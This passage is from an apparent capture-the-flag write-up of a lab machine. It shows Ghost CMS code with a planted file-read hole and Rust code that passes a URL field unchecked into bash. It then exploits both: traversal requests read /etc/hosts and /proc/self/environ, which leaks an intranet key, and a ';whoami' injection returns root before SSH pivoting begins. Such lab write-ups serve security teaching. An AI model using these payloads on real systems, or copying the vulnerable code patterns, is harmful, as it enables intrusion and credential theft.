            <span class="dl">'</span><span class="s1">order</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">page</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">debug</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">absolute_urls</span><span class="dl">'</span><span class="p">,</span>
            <span class="dl">'</span><span class="s1">collection</span><span class="dl">'</span>
        <span class="p">],</span>
        <span class="nx">validation</span><span class="p">:</span> <span class="p">{</span>
            <span class="nl">options</span><span class="p">:</span> <span class="p">{</span>
                <span class="na">include</span><span class="p">:</span> <span class="p">{</span>
                    <span class="na">values</span><span class="p">:</span> <span class="nx">allowedIncludes</span>
                <span class="p">},</span>
                <span class="na">formats</span><span class="p">:</span> <span class="p">{</span>
                    <span class="na">values</span><span class="p">:</span> <span class="nx">models</span><span class="p">.</span><span class="nx">Post</span><span class="p">.</span><span class="nx">allowedFormats</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="nx">permissions</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
        <span class="k">async</span> <span class="nx">query</span><span class="p">(</span><span class="nx">frame</span><span class="p">)</span> <span class="p">{</span>
            <span class="kd">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
                <span class="p">...</span><span class="nx">frame</span><span class="p">.</span><span class="nx">options</span><span class="p">,</span>
                <span class="na">mongoTransformer</span><span class="p">:</span> <span class="nx">rejectPrivateFieldsTransformer</span>
            <span class="p">};</span>
            <span class="kd">const</span> <span class="nx">posts</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">postsService</span><span class="p">.</span><span class="nx">browsePosts</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>
            <span class="kd">const</span> <span class="nx">extra</span> <span class="o">=</span> <span class="nx">frame</span><span class="p">.</span><span class="nx">original</span><span class="p">.</span><span class="nx">query</span><span class="p">?.</span><span class="nx">extra</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="nx">extra</span><span class="p">)</span> <span class="p">{</span>
                <span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">fs</span><span class="dl">"</span><span class="p">);</span>
                <span class="k">if</span> <span class="p">(</span><span class="nx">fs</span><span class="p">.</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">extra</span><span class="p">))</span> <span class="p">{</span>
                    <span class="kd">const</span> <span class="nx">fileContent</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">/var/lib/ghost/extra/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">extra</span><span class="p">,</span> <span class="p">{</span> <span class="na">encoding</span><span class="p">:</span> <span class="dl">"</span><span class="s2">utf8</span><span class="dl">"</span> <span class="p">});</span>
                    <span class="nx">posts</span><span class="p">.</span><span class="nx">meta</span><span class="p">.</span><span class="nx">extra</span> <span class="o">=</span> <span class="p">{</span> <span class="p">[</span><span class="nx">extra</span><span class="p">]:</span> <span class="nx">fileContent</span> <span class="p">};</span>
                <span class="p">}</span>
            <span class="p">}</span>
            <span class="k">return</span> <span class="nx">posts</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">},</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>In the context of <code class="language-plaintext highlighter-rouge">GhostCMS</code> a <code class="language-plaintext highlighter-rouge">frame</code> is simply a <code class="language-plaintext highlighter-rouge">request processing object</code>, grabbing the <code class="language-plaintext highlighter-rouge">original</code> attribute of that frame gives us the <code class="language-plaintext highlighter-rouge">original</code> request and grabbing the <code class="language-plaintext highlighter-rouge">query</code> gives us the <code class="language-plaintext highlighter-rouge">query parameters</code>, which tells us that the needed <code class="language-plaintext highlighter-rouge">query parameter</code> is called <code class="language-plaintext highlighter-rouge">extra</code>.</p>

<h2 id="ghost-dev-blog-arbitrary-file-read">ghost-dev blog Arbitrary File Read</h2>
<p>Let’s see if we can’t do a bit of <code class="language-plaintext highlighter-rouge">file traversal</code></p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&amp;extra=../../../../etc/hosts</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">ghost.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Access-Control-Request-Method</span><span class="p">:</span> <span class="s">GET</span>
<span class="na">Access-Control-Request-Headers</span><span class="p">:</span> <span class="s">accept-version</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://ghost.htb:8008/</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://ghost.htb:8008</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=4</span>


</pre></td></tr></tbody></table></code></pre></div></div>

<p>Which gives a detailed <code class="language-plaintext highlighter-rouge">json</code> response but all we want is the <code class="language-plaintext highlighter-rouge">extra</code> object.</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nl">"extra"</span><span class="p">:{</span><span class="nl">"../../../../etc/hosts"</span><span class="p">:</span><span class="s2">"127.0.0.1</span><span class="se">\t</span><span class="s2">localhost</span><span class="se">\n</span><span class="s2">::1</span><span class="se">\t</span><span class="s2">localhost ip6-localhost ip6-loopback</span><span class="se">\n</span><span class="s2">fe00::0</span><span class="se">\t</span><span class="s2">ip6-localnet</span><span class="se">\n</span><span class="s2">ff00::0</span><span class="se">\t</span><span class="s2">ip6-mcastprefix</span><span class="se">\n</span><span class="s2">ff02::1</span><span class="se">\t</span><span class="s2">ip6-allnodes</span><span class="se">\n</span><span class="s2">ff02::2</span><span class="se">\t</span><span class="s2">ip6-allrouters</span><span class="se">\n</span><span class="s2">172.19.0.2</span><span class="se">\t</span><span class="s2">26ae7990f3dd</span><span class="se">\n</span><span class="s2">"</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We successfully have an arbitrary <code class="language-plaintext highlighter-rouge">File Read</code>, let’s check our <code class="language-plaintext highlighter-rouge">Environment Variables</code> as the <code class="language-plaintext highlighter-rouge">DEV_INTRANET_KEY</code> was mentioned earlier.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="rouge-code"><pre><span class="nf">GET</span> <span class="nn">/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&amp;extra=../../../../proc/self/environ</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">ghost.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">Access-Control-Request-Method</span><span class="p">:</span> <span class="s">GET</span>
<span class="na">Access-Control-Request-Headers</span><span class="p">:</span> <span class="s">accept-version</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://ghost.htb:8008/</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://ghost.htb:8008</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=4</span>


====================
"extra":{"../../../../proc/self/environ":"HOSTNAME=26ae7990f3dd\u0000database__debug=false\u0000YARN_VERSION=1.22.19\u0000PWD=/var/lib/ghost\u0000NODE_ENV=production\u0000database__connection__filename=content/data/ghost.db\u0000HOME=/home/node\u0000database__client=sqlite3\u0000url=http://ghost.htb\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000database__useNullAsDefault=true\u0000GHOST_CONTENT=/var/lib/ghost/content\u0000SHLVL=0\u0000GHOST_CLI_VERSION=1.25.3\u0000GHOST_INSTALL=/var/lib/ghost\u0000PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000NODE_VERSION=18.19.0\u0000GHOST_VERSION=5.78.0\u0000"}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looking at the <code class="language-plaintext highlighter-rouge">environ</code> we find the <code class="language-plaintext highlighter-rouge">DEV_INTRANET_KEY</code>:<code class="language-plaintext highlighter-rouge">!@yqr!X2kxmQ.@Xe</code></p>
<h2 id="ghost-dev-intranet-code-analysis">ghost-dev intranet code analysis</h2>
<p>Firslty the repository mentions that the API is exposed at <code class="language-plaintext highlighter-rouge">http://intranet.ghost.htb/api-dev</code>. This narrows down our search as all we have to do is check which sourcecode is exported to the <code class="language-plaintext highlighter-rouge">api-dev</code> in the <code class="language-plaintext highlighter-rouge">main</code> class.</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre><span class="nd">#[macro_use]</span>
<span class="k">extern</span> <span class="k">crate</span> <span class="n">rocket</span><span class="p">;</span>

<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">http</span><span class="p">::</span><span class="n">Method</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="n">Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="nn">json</span><span class="p">::</span><span class="n">Json</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket_cors</span><span class="p">::</span><span class="n">AllowedOrigins</span><span class="p">;</span>

<span class="k">mod</span> <span class="n">api</span><span class="p">;</span>
<span class="k">mod</span> <span class="n">database</span><span class="p">;</span>

<span class="nd">#[catch(</span><span class="mi">401</span><span class="nd">)]</span>
<span class="k">fn</span> <span class="nf">not_authorized</span><span class="p">(</span><span class="n">_req</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">Request</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Json</span><span class="o">&lt;</span><span class="p">()</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="nf">Json</span><span class="p">(())</span>
<span class="p">}</span>

<span class="nd">#[launch]</span>
<span class="k">fn</span> <span class="nf">rocket</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="n">_</span> <span class="p">{</span>
    <span class="nn">dotenv</span><span class="p">::</span><span class="nf">dotenv</span><span class="p">()</span><span class="nf">.ok</span><span class="p">();</span>

    <span class="k">let</span> <span class="n">cors</span> <span class="o">=</span> <span class="nn">rocket_cors</span><span class="p">::</span><span class="n">CorsOptions</span> <span class="p">{</span>
        <span class="n">allowed_origins</span><span class="p">:</span> <span class="nn">AllowedOrigins</span><span class="p">::</span><span class="nf">all</span><span class="p">(),</span>
        <span class="n">allowed_methods</span><span class="p">:</span> <span class="nd">vec!</span><span class="p">[</span><span class="nn">Method</span><span class="p">::</span><span class="n">Get</span><span class="p">,</span> <span class="nn">Method</span><span class="p">::</span><span class="n">Post</span><span class="p">]</span><span class="nf">.into_iter</span><span class="p">()</span><span class="nf">.map</span><span class="p">(</span><span class="nn">From</span><span class="p">::</span><span class="n">from</span><span class="p">)</span><span class="nf">.collect</span><span class="p">(),</span>
        <span class="n">allow_credentials</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
        <span class="o">..</span><span class="nn">Default</span><span class="p">::</span><span class="nf">default</span><span class="p">()</span>
    <span class="p">}</span><span class="nf">.to_cors</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">();</span>

    <span class="nn">rocket</span><span class="p">::</span><span class="nf">build</span><span class="p">()</span>
        <span class="nf">.mount</span><span class="p">(</span><span class="s">"/api"</span><span class="p">,</span> <span class="nd">routes!</span><span class="p">[</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">login</span><span class="p">::</span><span class="n">login</span><span class="p">,</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">news</span><span class="p">::</span><span class="n">get_news</span><span class="p">,</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">users</span><span class="p">::</span><span class="n">get_users</span><span class="p">,</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">me</span><span class="p">::</span><span class="n">get_me</span><span class="p">,</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">forum</span><span class="p">::</span><span class="n">get_forum</span><span class="p">,</span>
        <span class="p">])</span>
        <span class="nf">.mount</span><span class="p">(</span><span class="s">"/api-dev"</span><span class="p">,</span> <span class="nd">routes!</span><span class="p">[</span>
            <span class="nn">api</span><span class="p">::</span><span class="nn">dev</span><span class="p">::</span><span class="nn">scan</span><span class="p">::</span><span class="n">scan</span>
        <span class="p">])</span>
        <span class="nf">.attach</span><span class="p">(</span><span class="n">cors</span><span class="p">)</span>
        <span class="nf">.register</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="nd">catchers!</span><span class="p">[</span><span class="n">not_authorized</span><span class="p">])</span>
<span class="p">}</span>

</pre></td></tr></tbody></table></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">/api-dev</code> route is mounted to the <code class="language-plaintext highlighter-rouge">api/dev/scan/scan</code> module, let’s take a look at it.</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="rouge-code"><pre><span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">process</span><span class="p">::</span><span class="n">Command</span><span class="p">;</span>

<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="nn">json</span><span class="p">::</span><span class="n">Json</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="n">Serialize</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">serde</span><span class="p">::</span><span class="n">Deserialize</span><span class="p">;</span>

<span class="k">use</span> <span class="k">crate</span><span class="p">::</span><span class="nn">api</span><span class="p">::</span><span class="nn">dev</span><span class="p">::</span><span class="n">DevGuard</span><span class="p">;</span>

<span class="nd">#[derive(Deserialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">ScanRequest</span> <span class="p">{</span>
    <span class="n">url</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>

<span class="nd">#[derive(Serialize)]</span>
<span class="k">pub</span> <span class="k">struct</span> <span class="n">ScanResponse</span> <span class="p">{</span>
    <span class="n">is_safe</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="c1">// remove the following once the route is stable</span>
    <span class="n">temp_command_success</span><span class="p">:</span> <span class="nb">bool</span><span class="p">,</span>
    <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
    <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="nb">String</span><span class="p">,</span>
<span class="p">}</span>

<span class="c1">// Scans an url inside a blog post</span>
<span class="c1">// This will be called by the blog to ensure all URLs in posts are safe</span>
<span class="nd">#[post(</span><span class="s">"/scan"</span><span class="nd">,</span> <span class="nd">format</span> <span class="nd">=</span> <span class="s">"json"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;data&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">fn</span> <span class="nf">scan</span><span class="p">(</span><span class="n">_guard</span><span class="p">:</span> <span class="n">DevGuard</span><span class="p">,</span> <span class="n">data</span><span class="p">:</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">ScanRequest</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">ScanResponse</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="c1">// currently intranet_url_check is not implemented,</span>
    <span class="c1">// but the route exists for future compatibility with the blog</span>
    <span class="k">let</span> <span class="n">result</span> <span class="o">=</span> <span class="nn">Command</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"bash"</span><span class="p">)</span>
        <span class="nf">.arg</span><span class="p">(</span><span class="s">"-c"</span><span class="p">)</span>
        <span class="nf">.arg</span><span class="p">(</span><span class="nd">format!</span><span class="p">(</span><span class="s">"intranet_url_check {}"</span><span class="p">,</span> <span class="n">data</span><span class="py">.url</span><span class="p">))</span>
        <span class="nf">.output</span><span class="p">();</span>

    <span class="k">match</span> <span class="n">result</span> <span class="p">{</span>
        <span class="nf">Ok</span><span class="p">(</span><span class="n">output</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
            <span class="nf">Json</span><span class="p">(</span><span class="n">ScanResponse</span> <span class="p">{</span>
                <span class="n">is_safe</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
                <span class="n">temp_command_success</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
                <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8</span><span class="p">(</span><span class="n">output</span><span class="py">.stdout</span><span class="p">)</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="s">""</span><span class="nf">.to_string</span><span class="p">()),</span>
                <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8</span><span class="p">(</span><span class="n">output</span><span class="py">.stderr</span><span class="p">)</span><span class="nf">.unwrap_or</span><span class="p">(</span><span class="s">""</span><span class="nf">.to_string</span><span class="p">()),</span>
            <span class="p">})</span>
        <span class="p">}</span>
        <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nf">Json</span><span class="p">(</span><span class="n">ScanResponse</span> <span class="p">{</span>
            <span class="n">is_safe</span><span class="p">:</span> <span class="k">true</span><span class="p">,</span>
            <span class="n">temp_command_success</span><span class="p">:</span> <span class="k">false</span><span class="p">,</span>
            <span class="n">temp_command_stdout</span><span class="p">:</span> <span class="s">""</span><span class="nf">.to_string</span><span class="p">(),</span>
            <span class="n">temp_command_stderr</span><span class="p">:</span> <span class="s">""</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="p">})</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We notice that the post parameter is a json <code class="language-plaintext highlighter-rouge">ScanRequest</code> with a <code class="language-plaintext highlighter-rouge">url</code> field is being used in a bash command sink without any sanitization, however there does exist this <code class="language-plaintext highlighter-rouge">DevGuard</code> object from the <code class="language-plaintext highlighter-rouge">/dev.rs</code> file.  Let’s look at this source.</p>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">http</span><span class="p">::</span><span class="n">Status</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="n">Request</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">request</span><span class="p">::{</span><span class="n">FromRequest</span><span class="p">,</span> <span class="n">Outcome</span><span class="p">};</span>

<span class="k">pub</span><span class="p">(</span><span class="k">crate</span><span class="p">)</span> <span class="k">mod</span> <span class="n">scan</span><span class="p">;</span>

<span class="k">pub</span> <span class="k">struct</span> <span class="n">DevGuard</span><span class="p">;</span>

<span class="nd">#[rocket::async_trait]</span>
<span class="k">impl</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;</span> <span class="n">FromRequest</span><span class="o">&lt;</span><span class="nv">'r</span><span class="o">&gt;</span> <span class="k">for</span> <span class="n">DevGuard</span> <span class="p">{</span>
    <span class="k">type</span> <span class="n">Error</span> <span class="o">=</span> <span class="p">();</span>

    <span class="k">async</span> <span class="k">fn</span> <span class="nf">from_request</span><span class="p">(</span><span class="n">request</span><span class="p">:</span> <span class="o">&amp;</span><span class="nv">'r</span> <span class="n">Request</span><span class="o">&lt;</span><span class="nv">'_</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="n">Outcome</span><span class="o">&lt;</span><span class="k">Self</span><span class="p">,</span> <span class="k">Self</span><span class="p">::</span><span class="n">Error</span><span class="o">&gt;</span> <span class="p">{</span>
        <span class="k">let</span> <span class="n">key</span> <span class="o">=</span> <span class="n">request</span><span class="nf">.headers</span><span class="p">()</span><span class="nf">.get_one</span><span class="p">(</span><span class="s">"X-DEV-INTRANET-KEY"</span><span class="p">);</span>
        <span class="k">match</span> <span class="n">key</span> <span class="p">{</span>
            <span class="nf">Some</span><span class="p">(</span><span class="n">key</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
                <span class="k">if</span> <span class="n">key</span> <span class="o">==</span> <span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">var</span><span class="p">(</span><span class="s">"DEV_INTRANET_KEY"</span><span class="p">)</span><span class="nf">.unwrap</span><span class="p">()</span> <span class="p">{</span>
                    <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Success</span><span class="p">(</span><span class="n">DevGuard</span> <span class="p">{})</span>
                <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Error</span><span class="p">((</span><span class="nn">Status</span><span class="p">::</span><span class="n">Unauthorized</span><span class="p">,</span> <span class="p">()))</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="nb">None</span> <span class="k">=&gt;</span> <span class="nn">Outcome</span><span class="p">::</span><span class="nf">Error</span><span class="p">((</span><span class="nn">Status</span><span class="p">::</span><span class="n">Unauthorized</span><span class="p">,</span> <span class="p">()))</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Looks like it grabs the headers and checks it against the envvar and returns an unauthorized error if it doesn’t match.</p>
<h2 id="ghost-dev-intranet-rce">ghost-dev intranet RCE</h2>
<p>We have all the pieces we need, let’s construct a payload request.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="rouge-code"><pre><span class="nf">POST</span> <span class="nn">/api-dev/scan</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">intranet.ghost.htb:8008</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.5</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span>
<span class="na">DNT</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">X-DEV-INTRANET-KEY</span><span class="p">:</span> <span class="s">!@yqr!X2kxmQ.@Xe</span>

<span class="w">
</span><span class="p">{</span><span class="nl">"url"</span><span class="p">:</span><span class="s2">";whoami"</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We get the following response.</p>
<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">nginx/1.18.0 (Ubuntu)</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Thu, 24 Sep 2026 04:43:51 GMT</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">153</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">x-content-type-options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">x-frame-options</span><span class="p">:</span> <span class="s">SAMEORIGIN</span>
<span class="na">permissions-policy</span><span class="p">:</span> <span class="s">interest-cohort=()</span>

<span class="p">{</span><span class="nl">"is_safe"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nl">"temp_command_success"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nl">"temp_command_stdout"</span><span class="p">:</span><span class="s2">"root</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span><span class="nl">"temp_command_stderr"</span><span class="p">:</span><span class="s2">"bash: line 1: intranet_url_check: command not found</span><span class="se">\n</span><span class="s2">"</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>Using this I’ll grab a <code class="language-plaintext highlighter-rouge">reverse shell</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>root@36b733906694:/app# id
uid=0(root) gid=0(root) groups=0(root)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Just like that we have a foothold shell.</p>

<h1 id="foothold-on-ad">Foothold on AD</h1>
<p>Taking a look at our <code class="language-plaintext highlighter-rouge">foothold</code>’s home directory we can find an interesting <code class="language-plaintext highlighter-rouge">directory</code> in the <code class="language-plaintext highlighter-rouge">.ssh</code> folder <code class="language-plaintext highlighter-rouge">controlmaster</code> containing an interesting <code class="language-plaintext highlighter-rouge">socket</code> file.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="rouge-code"><pre>root@36b733906694:~# <span class="nb">ls</span> <span class="nt">-lashR</span>
.:
total 28K
8.0K drwx------ 1 root root 4.0K Jul  5  2024 <span class="nb">.</span>
4.0K drwxr-xr-x 1 root root 4.0K Jul 22  2024 ..
   0 lrwxrwxrwx 1 root root    9 Jul  5  2024 .bash_history -&gt; /dev/null
4.0K <span class="nt">-rw-r--r--</span> 1 root root  571 Apr 10  2021 .bashrc
4.0K <span class="nt">-rw-r--r--</span> 1 root root  161 Jul  9  2019 .profile
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 .ssh

./.ssh:
total 32K
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 <span class="nb">.</span>
8.0K drwx------ 1 root root 4.0K Jul  5  2024 ..
4.0K <span class="nt">-rw-r--r--</span> 1 root root   92 Sep 24 01:31 config
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 controlmaster
4.0K <span class="nt">-rw-------</span> 1 root root  978 Jul  5  2024 known_hosts
4.0K <span class="nt">-rw-r--r--</span> 1 root root  142 Jul  5  2024 known_hosts.old

./.ssh/controlmaster:
total 12K
4.0K drwxr-xr-x 1 root root 4.0K Sep 24 01:34 <span class="nb">.</span>
8.0K drwxr-xr-x 1 root root 4.0K Jul  5  2024 ..
   0 srw------- 1 root root    0 Sep 24 01:33 florence.ramirez@ghost.htb@dev-workstation:22
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s take a look at the <code class="language-plaintext highlighter-rouge">config</code></p>
